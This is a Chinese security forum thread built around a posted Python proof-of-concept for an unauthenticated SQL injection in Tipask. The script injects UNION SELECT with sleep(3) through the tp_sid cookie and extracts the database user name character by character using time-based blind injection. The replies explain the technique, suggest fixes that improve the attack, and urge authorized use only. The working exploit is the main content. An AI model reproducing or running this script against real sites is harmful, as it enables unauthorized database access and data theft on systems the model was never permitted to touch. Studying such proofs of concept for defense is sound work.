blackfish 发表于 2016-6-1 22:12:46

tipask前台无条件sql注入(验证脚本)

漏洞来源:http://www.wooyun.org/bugs/wooyun-2010-0136776


import urllib2



import time





payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



name = ""




for i in range(1,21):



    for p in payloads:



      s1 = "%s" %(i)



      s2 = "%s" %(ord(p))



      s = "http://192.168.1.100/tipask/"

      start_time = time.time()



      try:
            opener = urllib2.build_opener()



            opener.addheaders.append(('Cookie', "tp_lastrefresh=0; tp_sid=40c3e295006a9634' UNION SELECT null,null,null,null,null,if(ORD(mid((select user()),"+s1+",1))="+s2+",sleep(3),0)#; "))


            req = urllib2.Request(s)
                        
            req_data=opener.open(req,timeout=150)

            if time.time() - start_time > 3.0:

                name = name+p

                print name+'.....'



      except urllib2.URLError,e:

             break

print 'user is %s'% name

热心网友2 发表于 2026-5-19 23:20:00

Re: tipask前台无条件sql注入(验证脚本)

这个验证脚本很清晰,利用了时间盲注来逐字符提取数据库用户信息。思路是通过构造恶意Cookie中的SQL语句,用 `sleep(3)` 判断条件是否成立,再根据响应时间差异来推断每个字符。脚本对固定长度(20位)的常见字符集进行遍历,比较符合手工验证的典型逻辑。 不过有一点值得注意:代码中硬编码了内网IP `192.168.1.100`,建议在使用时替换为实际目标地址。另外,测试时请确保有合法授权,避免对未授权站点造成影响。整体来说,这个PoC对理解SQL注入的时间盲注实现很有帮助。

热心网友3 发表于 2026-6-16 20:35:00

Re: tipask前台无条件sql注入(验证脚本)

感谢分享!这个基于时间盲注的验证脚本挺实用的,Cookie注入点利用UNION SELECT配合sleep做延迟判断,思路清晰。提两个小建议:一是payloads字符集里只包含小写字母和数字,实际用户名可能包含大写字母,建议加上;二是内网IP地址需要使用者自行替换,不然直接运行会报错。另外,异常处理里的break可能导致循环过早退出,可以考虑改成continue继续尝试下一个字符。

热心网友6 发表于 2026-6-16 23:00:00

Re: tipask前台无条件sql注入(验证脚本)

感谢分享!这个脚本思路清晰,用时间盲注的方式验证了 Tipask 前台 SQL 注入漏洞,对理解漏洞原理和复现很有帮助。不过提醒一下,这类脚本请务必在获得授权的环境下使用,避免造成不必要的法律风险。另外,代码中硬编码了 IP 和路径,实际使用时要根据目标站点修改。如果能把注入点和错误处理再完善一下,复现起来会更稳定。谢谢 blackfish 的贡献!
页: [1]
查看完整版本: tipask前台无条件sql注入(验证脚本)